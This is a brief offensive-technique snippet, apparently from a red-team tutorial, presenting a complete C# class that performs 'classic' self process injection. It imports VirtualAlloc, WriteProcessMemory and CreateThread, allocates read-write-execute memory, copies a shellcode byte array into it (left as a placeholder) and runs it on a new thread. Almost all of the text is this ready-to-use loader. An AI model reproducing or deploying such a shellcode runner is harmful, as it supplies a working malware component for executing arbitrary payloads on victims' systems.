The most vanilla form of process injection uses the VirtualAlloc, WriteProcessMemory, and CreateThread APIs. This will inject and execute the shellcode in the running process.
internal class ClassicInjection
{
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr VirtualAlloc(
IntPtr lpAddress,
uint dwSize,
uint flAllocationType,
uint flProtect);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
uint nSize,
out IntPtr lpNumberOfBytesWritten);
[DllImport("kernel32.dll", SetLastError = true)]
static extern IntPtr CreateThread(
IntPtr lpThreadAttributes,
uint dwStackSize,
IntPtr lpStartAddress,
IntPtr lpParameter,
uint dwCreationFlags,
out uint lpThreadId);
[DllImport("kernel32.dll", SetLastError = true)]
static extern uint WaitForSingleObject(
IntPtr hHandle,
uint dwMilliseconds);
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CloseHandle(IntPtr hObject);
const uint MEM_COMMIT = 0x1000;
const uint MEM_RESERVE = 0x2000;
const uint PAGE_EXECUTE_READWRITE = 0x40;
const uint INFINITE = 0xFFFFFFFF;
static void Main(string[] args)
{
byte[] shellcode = new byte[] { /* shellcode bytes */ };
IntPtr hMemory = VirtualAlloc(
IntPtr.Zero,
(uint)shellcode.Length,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (hMemory == IntPtr.Zero)
throw new Exception($"VirtualAlloc unsuccessful. Error: {Marshal.GetLastWin32Error()}");
unsafe
{
if (!WriteProcessMemory(
(IntPtr)(-1), // GetCurrentProcess() = pseudo-handle -1
hMemory,
shellcode,
(uint)shellcode.Length,
out IntPtr bytesWritten))
throw new Exception($"WriteProcessMemory unsuccessful. Error: {Marshal.GetLastWin32Error()}");
}
uint threadId = 0;
IntPtr hThread = CreateThread(
IntPtr.Zero,
0,
hMemory,
IntPtr.Zero,
0,
out threadId);
if (hThread == IntPtr.Zero)
throw new Exception($"CreateThread unsuccessful. Error: {Marshal.GetLastWin32Error()}");
WaitForSingleObject(hThread, INFINITE);
CloseHandle(hThread);
}
}